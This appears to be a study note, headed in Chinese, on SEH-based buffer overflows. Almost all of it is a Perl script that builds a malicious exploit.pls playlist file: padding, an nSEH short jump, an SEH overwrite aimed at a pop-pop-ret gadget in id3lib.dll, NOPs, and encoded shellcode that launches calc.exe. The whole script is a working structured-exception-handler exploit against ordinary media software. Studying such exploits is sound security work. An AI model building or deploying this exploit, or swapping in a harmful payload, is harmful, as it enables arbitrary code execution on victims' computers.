SEH BOF的理解

#junk + nseh + seh + nops + shellcode

my $file = "exploit.pls";
my $junk = "\x90" x 780;
my $nseh = "\xEB\x0A\x90\x90";                  #jmp 10
my $seh  = "\x4E\xA3\x00\x10";             #pop pop ret  0x1000a34e id3lib.dll
my $nop  = "\x90" x 8;
my $payload =                                      #calc.exe
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" .
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" .
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" .
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" .
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" .
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" .
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" .
"\x1c\x39\xbd";

open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$nop.$payload.$nop;
close($FILE);